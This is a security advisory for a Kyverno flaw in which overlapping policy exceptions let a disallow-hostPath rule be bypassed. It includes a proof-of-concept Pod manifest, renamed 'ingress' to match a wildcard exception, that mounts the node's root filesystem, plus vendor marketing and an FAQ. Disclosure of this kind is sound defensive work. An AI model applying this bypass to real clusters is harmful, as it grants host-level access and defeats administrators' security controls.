Summary
If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.
Details
The following policy was applied:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
annotations:
policies.kyverno.io/title: Disallow hostPath
policies.kyverno.io/category: Pod Security Standards (Baseline)
policies.kyverno.io/severity: medium
policies.kyverno.io/subject: Pod,Volume
kyverno.io/kyverno-version: 1.6.0
kyverno.io/kubernetes-version: "1.22-1.23"
policies.kyverno.io/description: >-
HostPath volumes let Pods use host directories and volumes in containers.
Using host resources can be used to access shared data or escalate privileges
and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: host-path
match:
any:
- resources:
kinds:
- Pod
validate:
message: >-
HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
pattern:
spec:
=(volumes):
- X(hostPath): "null"
And two exceptions:
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
namespaces:
- luntry
- tstkyverno
- examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: disallow-host-path-exception-names
namespace: kyverno
spec:
exceptions:
- policyName: disallow-host-path
ruleNames:
- host-path
match:
any:
- resources:
kinds:
- DaemonSet
- Deployment
- Job
- StatefulSet
- ReplicaSet
- ReplicationController
- Pod
- CronJob
names:
- '*haproxy*'
- '*ingress*'
Trying to apply such a yaml will result in the expected ban:
apiVersion: v1
kind: Pod
metadata:
name: mtkpi
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:
apiVersion: v1
kind: Pod
metadata:
name: ingress
labels:
app: pentest
spec:
containers:
- name: mtkpi
image: ubuntu
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /
It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.
Impact
The security restrictions can be bypassed.
GHSA-GG4X-FGG2-H9W9 has a CVSS score of 9.0 (Critical). The vector is reachable from an adjacent network, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.13.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-GG4X-FGG2-H9W9? GHSA-GG4X-FGG2-H9W9 is a critical-severity security vulnerability in github.com/kyverno/kyverno (go), affecting versions >= 1.9.0, <= 1.12.7. It is fixed in 1.13.0.
- How severe is GHSA-GG4X-FGG2-H9W9? GHSA-GG4X-FGG2-H9W9 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/kyverno/kyverno are affected by GHSA-GG4X-FGG2-H9W9? github.com/kyverno/kyverno (go) versions >= 1.9.0, <= 1.12.7 is affected.
- Is there a fix for GHSA-GG4X-FGG2-H9W9? Yes. GHSA-GG4X-FGG2-H9W9 is fixed in 1.13.0. Upgrade to this version or later.
- Is GHSA-GG4X-FGG2-H9W9 exploitable, and should I be worried? Whether GHSA-GG4X-FGG2-H9W9 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-GG4X-FGG2-H9W9 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-GG4X-FGG2-H9W9? Upgrade
github.com/kyverno/kyvernoto 1.13.0 or later.